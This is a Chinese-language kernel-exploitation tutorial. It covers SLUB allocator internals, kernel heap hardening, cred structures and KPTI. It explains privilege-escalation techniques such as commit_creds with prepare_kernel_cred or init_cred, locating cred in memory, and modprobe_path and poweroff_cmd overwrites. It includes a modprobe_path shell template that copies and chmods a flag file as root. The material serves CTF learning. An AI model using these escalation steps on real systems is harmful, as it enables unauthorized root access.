假设下图左边的情况下释放 obj,如果满足 kmem_cache_node 的 nr_partial 大于 kmem_cache 的 min_partial 的话,释放情况如下图所示。
假设下图左边的情况下释放 obj,如果不满足 kmem_cache_node 的 nr_partial 大于 kmem_cache 的 min_partial 的话,释放情况如下图所示。
假设下图从 full slab 释放 obj 的话,如果满足 per cpu partial 管理的所有 slab 的 free object 数量大于 kmem_cache 的 cpu_partial 成员的话的话,将 per cpu partial 链表管理的所有 slab 移动到 per node partial 链表管理,释放情况如下图所示。
假设下图从 full slab 释放 obj 的话,如果不满足 per cpu partial 管理的所有 slab 的 free object 数量大于 kmem_cache 的 cpu_partial 成员的话的话,释放情况如下图所示。
内核堆保护 SLAB_FREELIST_HARDENED CONFIG_SLAB_FREELIST_HARDENED=y
编译选项开启 Hardened freelist 保护。在这个配置下,kmem_cache
增加了一个变量 random
。在 mm/slub.c
文件, kmem_cache_open
的时候给 random
字段一个随机数。
1 2 3 4 5 6 7 8 9 10 #ifdef CONFIG_SLAB_FREELIST_HARDENED unsigned long random; #endif static int kmem_cache_open (struct kmem_cache *s, slab_flags_t flags) { s->flags = kmem_cache_flags(s->size, flags, s->name, s->ctor); #ifdef CONFIG_SLAB_FREELIST_HARDENED s->random = get_random_long(); #endif
set_freepointer
函数中加了一个 BUG_ON
的检查,这里是检查 double free 的,当前 free 的 object 的内存地址和 freelist 指向的第一个 object 的地址不能一样,这和 glibc 类似。
1 2 3 4 5 6 7 8 9 10 static inline void set_freepointer (struct kmem_cache *s, void *object, void *fp) { unsigned long freeptr_addr = (unsigned long )object + s->offset; #ifdef CONFIG_SLAB_FREELIST_HARDENED BUG_ON(object == fp); #endif *(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr); }
接着是 freelist_ptr
,它会返回当前 object 的下一个 free object 的地址, 加上 hardened 之后会和之前初始化的 random 值做异或。
1 2 3 4 5 6 7 8 9 10 11 static inline void *freelist_ptr (const struct kmem_cache *s, void *ptr, unsigned long ptr_addr) { #ifdef CONFIG_SLAB_FREELIST_HARDENED return (void *)((unsigned long )ptr ^ s->random ^ (unsigned long )kasan_reset_tag((void *)ptr_addr)); #else return ptr; #endif }
SLAB_FREELIST_RANDOM CONFIG_SLAB_FREELIST_RANDOM=y
编译选项开启 Random freelist
保护。这种保护主要发生在 slub allocator 向 buddy system 申请到页框之后的处理过程中,对于未开启这种保护的一张完整的 slub,其上的 object 的连接顺序是线性连续的,但在开启了这种保护之后其上的 object 之间的连接顺序是随机的,这让攻击者无法直接预测下一个分配的 object 的地址需要注意的是这种保护发生在slub allocator
刚从 buddy system 拿到新 slub 的时候,运行时 freelist 的构成仍遵循 LIFO。
INIT_ON_ALLOC_DEFAULT_ON 当编译内核时开启了这个选项时,在内核进行“堆内存”分配时(包括 buddy system 和 slab allocator),会将被分配的内存上的内容进行清零,从而防止了利用未初始化内存进行数据泄露的情况。
GFP_KERNEL & GFP_KERNEL_ACCOUNT 的隔离 GFP_KERNEL
与 GFP_KERNEL_ACCOUNT
是内核中最为常见与通用的分配 flag,常规情况下他们的分配都来自同一个 kmem_cache
——即通用的 kmalloc-xx
。
在 5.9 版本之前GFP_KERNEL
与 GFP_KERNEL_ACCOUNT
存在隔离机制,在 这个 commit 中取消了隔离机制,自内核版本 5.14 起,在 这个 commit 当中又重新引入:
对于开启了 CONFIG_MEMCG_KMEM
编译选项的 kernel 而言(默认开启),其会为使用 GFP_KERNEL_ACCOUNT
进行分配的通用对象创建一组独立的 kmem_cache
——名为 kmalloc-cg-\*
,从而导致使用这两种 flag 的 object 之间的隔离。
SLAB_ACCOUNT 根据描述,如果在使用 kmem_cache_create
创建一个 cache 时,传递了 SLAB_ACCOUNT
标记,那么这个 cache 就会单独存在,不会与其它相同大小的 cache 合并。
1 2 3 4 5 6 7 8 9 10 11 12 Currently, if we want to account all objects of a particular kmem cache, we have to pass __GFP_ACCOUNT to each kmem_cache_alloc call, which is inconvenient. This patch introduces SLAB_ACCOUNT flag which if passed to kmem_cache_create will force accounting for every allocation from this cache even if __GFP_ACCOUNT is not passed. This patch does not make any of the existing caches use this flag - it will be done later in the series. Note, a cache with SLAB_ACCOUNT cannot be merged with a cache w/o SLAB_ACCOUNT, i.e. using this flag will probably reduce the number of merged slabs even if kmem accounting is not used (only compiled in).
在早期,许多结构体(如 cred 结构体 )对应的堆块并不单独存在,会和相同大小的堆块使用相同的 cache。在 Linux 4.5 版本引入了这个 flag 后,许多结构体就单独使用了自己的 cache。然而,根据上面的描述,这一特性似乎最初并不是为了安全性引入的。
以下结构体都拥有独立的 cache
。
threadinfo
task_struct
task_delay_info
pid
cred
mm_struct
vm_area_struct
and vm_region (nommu)
anon_vma
and anon_vma_chain
signal_struct
sighand_struct
fs_struct
files_struct
fdtable
and fdtable->full_fds_bits
dentry
and external_name
inode for all filesystems
STATIC_USERMODEHELPER 禁掉了对于 modprobe_path
和 core_pattern
的利用(只读区域)
CONFIG_INIT_ON_ALLOC_DEFAULT_ON
当编译内核时开启了这个选项时,在内核进行“堆内存”分配时(包括 buddy system 和 slab allocator),会将被分配的内存上的内容进行清零 ,从而防止了利用未初始化内存进行数据泄露的情况。
绑核 对于多核cpu而言,为了调试和利用方便,我们一般要进行绑核操作,即将进程的堆块分配绑定在某一个核上,从而减轻分配和释放导致的堆块乱序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #define __USE_GNU #include <sched.h> void bind_cpu (int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); } ... int main () { bind_cpu(sched_getcpu()); ... }
进程权限管理 这部分关于进程较为详细的讲解在这里 。
kernel
记录了进程的权限,更具体的,是用 cred
结构体记录的,每个进程中都有一个 cred
结构,内核会通过进程的 task_struct
结构体中的 cred 指针来索引 cred 结构体,然后根据 cred 的内容来判断一个进程拥有的权限,这个结构保存了该进程的权限等信息,如果能修改某个进程的 cred
,那么也就修改了这个进程的权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; kernel_cap_t cap_ambient; #ifdef CONFIG_KEYS unsigned char jit_keyring; struct key *session_keyring; struct key *process_keyring; struct key *thread_keyring; struct key *request_key_auth; #endif #ifdef CONFIG_SECURITY void *security; #endif struct user_struct *user; struct user_namespace *user_ns; struct ucounts *ucounts; struct group_info *group_info; union { int non_rcu; struct rcu_head rcu; }; } __randomize_layout;
一个进程而言应当有三个 cred
:
ptracer_cred
: 使用 ptrace
系统调用跟踪该进程的上级进程的 cred
( gdb 调试便是使用了这个系统调用,常见的反调试机制的原理便是提前占用了这个位置)。
real_cred
:即客体凭证(objective cred),通常是一个进程最初启动时所具有的权限。
cred
:即主体凭证(subjective cred),该进程的有效 cred
,kernel
以此作为进程权限的凭证。
一个 cred
结构体中记载了一个进程四种不同的用户 ID:
用户真实 ID(real UID
):标识一个进程启动时的用户 ID
保存用户 ID(saved UID
):标识一个进程最初的有效用户 ID
有效用户 ID(effective UID
):标识一个进程正在运行时所属的用户 ID
文件系统用户 ID(UID for VFS ops
):标识一个进程创建文件时进行标识的用户 ID
通常情况下这四个值都是相同的。用户组 ID 同样分为四个:真实组、保存组、有效组、文件系统组与上面类似。
权限保护机制 段保护机制
段(Segment) 是 x86 架构中内存管理的基础单元。每个段定义了一个线性地址范围,程序通过段选择子和偏移量访问内存。
CPU 使用段保护机制,通过段选择子(Segment Selector)和段描述符(Descriptor)来控制不同权限级别(Ring)的内存访问,防止越权操作。
段选择子(Segment Selector) 段选择子是存储在 CPU 段寄存器(代码段 cs
、数据段 ds
、栈段 ss
等)中的低 16 位值,标识了当前程序使用的段。它是程序访问内存段的入口,索引全局或局部段描述符表(GDT 或 LDT)。
段选择子的格式如下:
Index(段索引,13 位) :指向段描述符表(GDT 或 LDT)中的一个条目,标识具体的段。
TI(Table Indicator,1 位) :决定段描述符表的类型:
值为 0
表示选择 GDT(Global Descriptor Table,全局描述符表) 。
值为 1
表示选择 LDT(Local Descriptor Table,局部描述符表) 。
RPL(Requested Privilege Level,请求权限级别,2 位) :
指定程序期望访问目标段时的权限级别,范围为 0-3
。
通常,RPL 由调用方设定,用于在段访问中动态降低权限。
段描述符(Descriptor) 每个段在 GDT 或 LDT 中对应一个段描述符。描述符包含了段的基地址、大小、类型和权限等信息。
段描述符的格式如下:
Base Address(基地址,32 位) :段的起始地址。在 64 位模式下,基地址通常被固定为 0
,即扁平内存模型。
Segment Limit(段大小,20 位) :定义段的大小(单位为字节)。在 64 位模式下,通常被忽略,因为地址空间被扩展到 48 位或更高。
Access Rights(访问权限,8 位) :包含段的类型和权限字段:
权限类型
CPL(Current Privilege Level)
表示当前程序的运行权限级别,通常由 CS 寄存器的低两位(代码段段选择子)决定。
CPL 的值必须低于或等于段描述符中的 DPL 才能访问该段。
RPL(Requested Privilege Level)
请求访问段时指定的权限级别。通常由访存时使用的段寄存器的段选择子决定
RPL 的值不能高于段的 DPL。
DPL(Descriptor Privilege Level)
简单总结一下,就是当前的执行代码的权限(CPL)和请求访问内存的权限(RPL)都不能低于(值要小于等于)段描述符描述的目标内存的权限。
权限检查过程 这里以 mov rax, qword ptr ds:[0xdeadbeef]
为例介绍一下段保护机制权限检查的过程。
读取 DS
段选择子 :CPU 从 DS
段寄存器中读取段选择子的值。
读取段描述符 :CPU 从 DS
段寄存器中读取段选择子的值。这里先根据段选择子的 TI
位确定是 GDT,然后根据 Index
字段中 GDT 中找到段描述符。
检查 S 位(Descriptor Type) :因为是访存操作,所以要求 S 位为 1(数据段)。
检查 RPL(Requested Privilege Level) :CPU 会比较 max(CPL, RPL)
和目标段描述符的 DPL
(Descriptor Privilege Level)。如果结果大于目标段的 DPL,则触发 **General Protection Fault (GPF)**。
检查段描述符类型: 根据段描述符的 Access Rights 字段的类型位(Type) 确认操作(读取数据)符合段的权限(RW 位)。
页保护机制 在 64 位系统(如 x86_64 架构)中,页保护机制 是内存管理的核心,通过分页(Paging)机制实现虚拟地址到物理地址的映射,同时提供细粒度的权限控制 (例如用户空间与内核空间的隔离)。
提示
关于分页机制会在内存管理部分详细介绍,这里仅介绍权限管理相关内容。
权限字段 每个页表条目(Page Table Entry, PTE)包含物理地址和权限信息:
P(Present) :第 0 位,表示页是否有效。如果为 0
,表示页不在内存中(可能在磁盘上),访问时会触发 Page Fault 。
R/W(Read/Write) :第 1 位,表示页是否可写。如果为 0
,则该页只读。
U/S(User/Supervisor) :第 2 位,表示用户态(Ring 3)是否可以访问:
U = 1 :用户态可访问。
U = 0 :仅内核态(Ring 0)可访问。
NX(No Execute) :第 63 位,表示页是否可执行:如果为 1
,则该页不可执行(需要 CPU 支持 NX 位)。
Linux 的 KPTI 机制 Kernel Page Table Isolation(KPTI) 是一种内核内存隔离机制,用于解决 Meltdown 漏洞 。
Meltdown 是一种硬件级漏洞,该漏洞利用了现代处理器的分支预测和缓存特性,可以通过侧信道攻击绕过用户态与内核态的隔离,使得用户态程序可以读取内核内存中的敏感数据。
当用户态访问内核地址时,尽管会触发权限检查失败,但在实际触发前,CPU 已经通过分支预测机制将数据加载到缓存中。
攻击者可以通过读取缓存侧信道(如时间测量等技术)获取这些数据。
KPTI 的核心思想是:
在用户态运行时,将内核页表从地址空间中隔离,防止用户态程序对内核地址空间的任何访问。
仅在需要切换到内核态时(如系统调用或中断处理),恢复内核页表。
在传统未开启 KPTI 的 Linux 系统中,内核页表和用户页表共存于同一张全局页表(PGD)。开启 KPTI 后,内核为用户态和内核态分别维护两张独立的页全局目录(PGD)。
内核页表 :包含用户和内核地址空间的完整映射。
用户页表 :完整映射用户地址空间。但内核地址空间仅保留必要的条目(如系统调用入口和中断处理)。
由于每张页全局目录表占用 4 KB,两张页表连续分配在内存中,因此两张全局页目录表的地址仅在第 13 位不同。
用户态进入内核态:当用户态程序通过 系统调用 或 中断 进入内核态时,会执行用户态页表映射的系统调用入口代码。在这段代码会将 CR3 寄存器的第 13 位取反 ,切换到内核页表,这样就可以访问完整的内核空间。
内核态返回用户态:内核完成系统调用或中断处理后,需要切换回用户态,此时内核通过取反 CR3 的第 13 位 ,切换回用户页表。切换完成后,内核地址空间的绝大部分被剥离,仅保留必要的条目。
提权 参考链接
提权方式大致有两个方向:
直接修改 cred 结构体的内容。
修改 task_struct 结构体中的 cred 指针指向一个满足要求的 cred。
修改的方式有很多种,比如说
在我们具有任意地址读写后,可以直接修改 cred。
在我们可以 ROP 执行代码后,可以利用 ROP gadget 修改 cred。
修改 cred 指针为内核镜像中已有的 init_cred 的地址。这种方法适合于我们能够直接修改 cred 指针以及知道 init_cred 地址的情况。
伪造一个 cred,然后修改 cred 指针指向该地址即可。这种方式比较麻烦,一般并不使用。
如果我们可以改变特权进程的执行轨迹,也可以实现提权。这里我们从以下角度来考虑如何改变特权进程的执行轨迹。
进程cred指针定位
cred 结构体的最前面记录了各种 id 信息,对于一个普通的进程而言,uid~fsgid 都是执行进程的用户的身份。因此我们可以通过扫描内存来定位 cred (gdb dump下来扫magic)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; ... }
在实际定位的过程中,我们可能会发现很多满足要求的 cred,这主要是因为 cred 结构体可能会被拷贝、释放。一个很直观的想法是在定位的过程中,利用 usage 不为 0 来筛除掉一些 cred,但仍然会发现一些 usage 为 0 的 cred。这是因为 cred 从 usage 为 0, 到释放有一定的时间。此外,cred 是使用 rcu 延迟释放的。
task_struct
进程的 task_struct
结构体中会存放指向 cred 的指针,因此我们可以
定位当前进程 task_struct
结构体的地址
根据 cred 指针相对于 task_struct 结构体的偏移计算得出 cred
指针存储的地址
获取 cred
具体的地址
comm
comm 用来标记可执行文件的名字,位于进程的 task_struct
结构体中。我们可以发现 comm 其实在 cred 的正下方,所以我们也可以先定位 comm ,然后定位 cred 的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const struct cred __rcu *ptracer_cred ; const struct cred __rcu *real_cred ; const struct cred __rcu *cred ; #ifdef CONFIG_KEYS struct key *cached_requested_key ; #endif char comm[TASK_COMM_LEN];
然而,在进程名字并不特殊的情况下,内核中可能会有多个同样的字符串,这会影响搜索的正确性与效率。因此,我们可以使用 prctl 设置进程的 comm 为一个特殊的字符串,然后再开始定位 comm。
commit_creds(prepare_kernel_cred(0)) 只要我们改变一个进程的 cred
结构体,就能改变其执行权限。内核空间下面有两个函数,都位于 kernel/cred.c
中:
struct cred* prepare_kernel_cred(struct task_struct* daemon)
:该函数用以拷贝一个进程的 cred
结构体,并返回一个新的 cred
结构体,需要注意的是 daemon
参数应为有效的进程描述符地址或者 NULL
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 struct cred *prepare_kernel_cred (struct task_struct *daemon){ const struct cred *old; struct cred *new ; new = kmem_cache_alloc (cred_jar, GFP_KERNEL); if (!new ) return NULL ; kdebug ("prepare_kernel_cred() alloc %p" , new ); if (daemon) old = get_task_cred (daemon); else old = get_cred (&init_cred); validate_creds (old); *new = *old; new ->non_rcu = 0 ; atomic_set (&new ->usage, 1 ); set_cred_subscribers (new , 0 ); get_uid (new ->user); get_user_ns (new ->user_ns); get_group_info (new ->group_info); #ifdef CONFIG_KEYS new ->session_keyring = NULL ; new ->process_keyring = NULL ; new ->thread_keyring = NULL ; new ->request_key_auth = NULL ; new ->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING; #endif #ifdef CONFIG_SECURITY new ->security = NULL ; #endif new ->ucounts = get_ucounts (new ->ucounts); if (!new ->ucounts) goto error; if (security_prepare_creds (new , old, GFP_KERNEL_ACCOUNT) < 0 ) goto error; put_cred (old); validate_creds (new ); return new ; error: put_cred (new ); put_cred (old); return NULL ; }
int commit_creds(struct cred *new)
:该函数用以将一个新的cred
结构体应用到进程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 int commit_creds (struct cred *new ) { struct task_struct *task = current; const struct cred *old = task->real_cred; kdebug ("commit_creds(%p{%d,%d})" , new , atomic_read (&new ->usage), read_cred_subscribers (new )); BUG_ON (task->cred != old); #ifdef CONFIG_DEBUG_CREDENTIALS BUG_ON (read_cred_subscribers (old) < 2 ); validate_creds (old); validate_creds (new ); #endif BUG_ON (atomic_read (&new ->usage) < 1 ); get_cred (new ); if (!uid_eq (old->euid, new ->euid) || !gid_eq (old->egid, new ->egid) || !uid_eq (old->fsuid, new ->fsuid) || !gid_eq (old->fsgid, new ->fsgid) || !cred_cap_issubset (old, new )) { if (task->mm) set_dumpable (task->mm, suid_dumpable); task->pdeath_signal = 0 ; smp_wmb (); } if (!uid_eq (new ->fsuid, old->fsuid)) key_fsuid_changed (new ); if (!gid_eq (new ->fsgid, old->fsgid)) key_fsgid_changed (new ); alter_cred_subscribers (new , 2 ); if (new ->user != old->user || new ->user_ns != old->user_ns) inc_rlimit_ucounts (new ->ucounts, UCOUNT_RLIMIT_NPROC, 1 ); rcu_assign_pointer (task->real_cred, new ); rcu_assign_pointer (task->cred, new ); if (new ->user != old->user || new ->user_ns != old->user_ns) dec_rlimit_ucounts (old->ucounts, UCOUNT_RLIMIT_NPROC, 1 ); alter_cred_subscribers (old, -2 ); if (!uid_eq (new ->uid, old->uid) || !uid_eq (new ->euid, old->euid) || !uid_eq (new ->suid, old->suid) || !uid_eq (new ->fsuid, old->fsuid)) proc_id_connector (task, PROC_EVENT_UID); if (!gid_eq (new ->gid, old->gid) || !gid_eq (new ->egid, old->egid) || !gid_eq (new ->sgid, old->sgid) || !gid_eq (new ->fsgid, old->fsgid)) proc_id_connector (task, PROC_EVENT_GID); put_cred (old); put_cred (old); return 0 ; }
也就是说我们只要想办法在内核空间执行 commit_creds(prepare_kernel_cred(0))
即可获得 root
权限,0
表示 以 0
号进程作为参考准备新的 credentials
。如果进行 ROP
提权有一个难点就是寻找将 rax 赋值给 rdi 的 gadget 。可以尝试搜索 xchg rax, rdi
,push rax; pop rdi
,mov rdi, rax
等 gadget
。
另外 init_cred
是在内核当中有一个特殊的 cred
,它是 init
进程的 cred
,因此其权限为 root ,且该 cred
并非是动态分配的,因此当我们泄露出内核基址之后我们也便能够获得 init_cred
的地址,那么我们就只需要执行一次 commit_creds(&init_cred)
便能完成提权,不过有些内核中没有 init_cred
(实际上多数情况是由于缺少符号找不到 init_cred
,因此需要逆向分析 prepare_kernel_cred
函数来定位 init_cred
)。不过自从内核版本 6.2
起,prepare_kernel_cred(NULL)
将不再拷贝 init_cred
,而是将其视为一个运行时错误并返回 NULL
,这使得这种提权方法无法再应用于 6.2
及更高版本的内核:
1 2 3 4 5 6 7 8 9 10 11 12 13 struct cred *prepare_kernel_cred (struct task_struct *daemon){ const struct cred *old; struct cred *new ; if (WARN_ON_ONCE (!daemon)) return NULL ; new = kmem_cache_alloc (cred_jar, GFP_KERNEL); if (!new ) return NULL ; [...] }
commit_creds(&init_cred) 在内核初始化过程当中会以 root 权限启动 init
进程,其 cred 结构体为静态定义 的 init_cred
,由此不难想到的是我们可以通过 commit_creds(&init_cred)
来完成提权的工作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 struct cred init_cred = { .usage = ATOMIC_INIT(4 ), #ifdef CONFIG_DEBUG_CREDENTIALS .subscribers = ATOMIC_INIT(2 ), .magic = CRED_MAGIC, #endif .uid = GLOBAL_ROOT_UID, .gid = GLOBAL_ROOT_GID, .suid = GLOBAL_ROOT_UID, .sgid = GLOBAL_ROOT_GID, .euid = GLOBAL_ROOT_UID, .egid = GLOBAL_ROOT_GID, .fsuid = GLOBAL_ROOT_UID, .fsgid = GLOBAL_ROOT_GID, .securebits = SECUREBITS_DEFAULT, .cap_inheritable = CAP_EMPTY_SET, .cap_permitted = CAP_FULL_SET, .cap_effective = CAP_FULL_SET, .cap_bset = CAP_FULL_SET, .user = INIT_USER, .user_ns = &init_user_ns, .group_info = &init_groups, .ucounts = &init_ucounts, };
init_cred 定位 init_cred 是在内核当中有一个特殊的 cred ,它是 init 进程的 cred ,因此其权限为 root ,且该 cred 并非是动态分配的,因此当我们泄露出内核基址之后我们也便能够获得 init_cred 的地址,那么我们就只需要执行一次 commit_creds(&init_cred) 便能完成提权,不过有些内核中没有 init_cred(实际上多数情况是由于缺少符号找不到 init_cred,因此需要逆向分析 prepare_kernel_cred 函数来定位 init_cred)。根据不同内核源码,确定init_cred位置即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 _DWORD *__fastcall prepare_kernel_cred (__int64 a1) { _DWORD *v1; int *task_cred; v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL ); if ( !v1 ) return 0LL ; if ( a1 ) { task_cred = (int *)get_task_cred(a1); } else { _InterlockedIncrement(dword_FFFFFFFF8223D1A0); task_cred = dword_FFFFFFFF8223D1A0; } qmemcpy(v1, task_cred, 0xA8 uLL); *v1 = 1 ; _InterlockedIncrement(*((volatile signed __int32 **)v1 + 16 )); _InterlockedIncrement(*((volatile signed __int32 **)v1 + 18 )); *((_QWORD *)v1 + 11 ) = 0LL ; *((_QWORD *)v1 + 12 ) = 0LL ; *((_QWORD *)v1 + 13 ) = 0LL ; *((_QWORD *)v1 + 14 ) = 0LL ; *((_BYTE *)v1 + 80 ) = 1 ; *((_QWORD *)v1 + 15 ) = 0LL ; if ( (int )security_prepare_creds(v1, task_cred, 20971712LL ) < 0 ) { if ( !_InterlockedDecrement(v1) ) _put_cred(v1); if ( _InterlockedDecrement(task_cred) ) return 0LL ; _put_cred(task_cred); return 0LL ; } if ( !_InterlockedDecrement(task_cred) ) _put_cred(task_cred); return v1; }
符号链接 如果一个 root 权限的进程会执行一个符号链接的程序,并且该符号链接或者符号链接指向的程序可以由攻击者控制,攻击者就可以实现提权。
call_usermodehelper call_usermodehelper
是一种内核线程执行用户态应用的方式,并且启动的进程具有 root 权限。因此,如果我们能够控制具体要执行的应用,那就可以实现提权。在内核中,call_usermodehelper
具体要执行的应用往往是由某个变量指定的,因此我们只需要想办法修改掉这个变量即可。不难看出,这是一种典型的数据流攻击方法。一般常用的主要有以下几种方式。
修改 modprobe_path 修改 modprobe_path 实现提权的基本流程如下
获取 modprobe_path 的地址。
修改 modprobe_path 为指定的程序。
触发执行 call_modprobe
,从而实现提权 。这里我们可以利用以下几种方式来触发
执行一个非法的可执行文件。非法的可执行文件需要满足相应的要求。
使用未知协议来触发。
这里我们也给出使用 modprobe_path 的模板。
1 2 3 4 5 6 7 8 9 10 11 12 13 system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag\ncat flag' > /home/pwn/catflag.sh" ); system("chmod +x /home/pwn/catflag.sh" ); system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy" ); system("chmod +x /home/pwn/dummy" ); system("/home/pwn/dummy" ); socket(AF_INET,SOCK_STREAM,132 );
在这个过程中,我们着重关注下如何定位 modprobe_path。
直接定位 由于 modprobe_path 的取值是确定的,所以我们可以直接扫描内存,寻找对应的字符串。这需要我们具有扫描内存的能力。
间接定位 考虑到 modprobe_path 相对于内核基地址的偏移是固定的,我们可以先获取到内核的基地址,然后根据相对偏移来得到 modprobe_path 的地址。
call_usermodehelper用法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include <linux/init.h> #include <linux/module.h> #include <linux/types.h> #include <linux/kmod.h> MODULE_LICENSE("GPL" ); static int __init call_usermodehelper_init (void ) { int ret = -1 ; char path[] = "/bin/bash" ; char *argv[] = {path, "-c" , "ls" , "-la" , ">" , "/home/tester/ls_output" , NULL }; char *envp[] = {NULL }; printk("call_usermodehelper module is starting..!\n" ); ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC); printk("ret=%d\n" , ret); return 0 ; } static void __exit call_usermodehelper_exit (void ) { int ret = -1 ; char path[] = "/bin/rm" ; char *argv[] = {path, "-r" , "/home/tester/new/new_dir" , NULL }; char *envp[] = {NULL }; printk("call_usermodehelper module is starting..!\n" ); ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC); printk("ret=%d\n" , ret); } module_init(call_usermodehelper_init); module_exit(call_usermodehelper_exit);
修改 poweroff_cmd
修改 poweroff_cmd 为指定的程序。
劫持控制流执行 __orderly_poweroff
。
关于如何定位 poweroff_cmd,我们可以采用类似于定位 modprobe_path
的方法。
早期的内核 在早期的时候还有像 kernel null pointer dereference
和 修改 vDSO 段内函数代码为shellcode这样的操作,感兴趣可以查询相关资料,这里就不做介绍了。
ioctl 系统调用 参考链接
在Linux
中一切都可以被视为文件,因为一切都可以访问文件的方式进行操作,Linux
定义了系统调用ioctl
供进程与设备之间进行通信,系统调用ioctl
是一个用于设备输入输出操作的一个系统调用,调用方式如下:
1 int ioctl (int fd, unsigned long request, ...) ;
fd
:设备的文件描述符
request
:请求码
其他参数
对于一个提供了 ioctl
通信方式的设备而言,我们可以通过其文件描述符、使用不同的请求码及其他请求参数通过 ioctl
系统调用完成不同的对设备的 I/O
操作。一些没办法归类的函数就统一放在 ioctl
这个函数操作中,通过指定的命令来实现对应的操作。所以,ioctl函数里面都实现了多个的对硬件的操作,通过应用层传入的命令来调用相应的操作。
环境搭建 内核编译 (可选) 清华源
make menuconfig
这里我们主要关注调试方面的选项,依次进入到 Kernel hacking -> Compile-time checks and compiler options
,然后勾选如下选项Compile the kernel with debug info
,以便于调试。不过似乎现在是默认开启的。如果要使用 kgdb
调试内核,则需要选中 KGDB: kernel debugger
,并选中 KGDB
下的所有选项。
报错处理:
【1】
问题概述:
make[1]: *** No rule to make target 'debian/canonical-certs.pem', needed by 'certs/x509_certificate_list'. Stop. make: *** [Makefile:1868: certs] Error 2
解决方法:
编辑 .config
文件,搜索debian/canonical-certs.pem
并把这个字符串删掉。
删除前:
CONFIG_SYSTEM_TRUSTED_KEYS=”debian/canonical-certs.pem”
删除后
CONFIG_SYSTEM_TRUSTED_KEYS=””
make bzImage -j4
注意事项:
注意 gcc 版本问题,4.*
一般用 gcc-5
,5.*
一般用 gcc-7
。
gcc多版本共存请参考这里
编译成功后
我们一般主要关注于如下的文件
bzImage: arch/x86/boot/bzImage
vmlinux: 源码所在的根目录下。
此外,这里给出常见内核文件的介绍。
bzImage :目前主流的 kernel 镜像格式,即 big zImage(即 bz 不是指 bzip2),适用于较大的(大于 512 KB) Kernel。这个镜像会被加载到内存的高地址,高于 1MB。bzImage 是用 gzip 压缩的,文件的开头部分有 gzip 解压缩的代码,所以我们不能用 gunzip 来解压缩。
zImage :比较老的 kernel 镜像格式,适用于较小的(不大于 512KB) Kernel。启动时,这个镜像会被加载到内存的低地址,即内存的前 640 KB。zImage 也不能用 gunzip 来解压缩。
vmlinuz :vmlinuz 不仅包含了压缩后的 vmlinux,还包含了 gzip 解压缩的代码。实际上就是 zImage 或者 bzImage 文件。该文件是 bootable 的。 bootable 是指它能够把内核加载到内存中。对于 Linux 系统而言,该文件位于 /boot 目录下。该目录包含了启动系统时所需要的文件。
vmlinux :静态链接的 Linux kernel,以可执行文件的形式存在,尚未经过压缩。该文件往往是在生成 vmlinuz 的过程中产生的。该文件适合于调试。但是该文件不是 bootable 的。
vmlinux.bin :也是静态链接的 Linux kernel,只是以一个可启动的 (bootable) 二进制文件存在。所有的符号信息和重定位信息都被删除了。生成命令为:objcopy -O binary vmlinux vmlinux.bin
。
uImage :uImage 是 U-boot 专用的镜像文件,它是在 zImage 之前加上了一个长度为 0x40 的 tag 而构成的。这个 tag 说明了这个镜像文件的类型、加载位置、生成时间、大小等信息。
编译 busybox (可选) 可以在 busybox官网 下载源码解压安装。
1 2 wget https: tar -jxvf busybox-1.36 .1 .tar.bz2
make menuconfig
进入 setting
选择静态编译。
设置安装目录(Destination path for 'make install'
),可以默认也可以改为 ./rootfs
make -j4 && make install
源目录下的 rootfs
文件夹里便是我们编译好的文件系统。
Kernel Pwn 一般流程 我们拿 CISCN2017-babykernel 这道题为例。
基础概念 解压后有三个文件:
boot.sh
:启动脚本;
bzImage
:内核镜像;
rootfs.cpio
:文件系统;
启动脚本
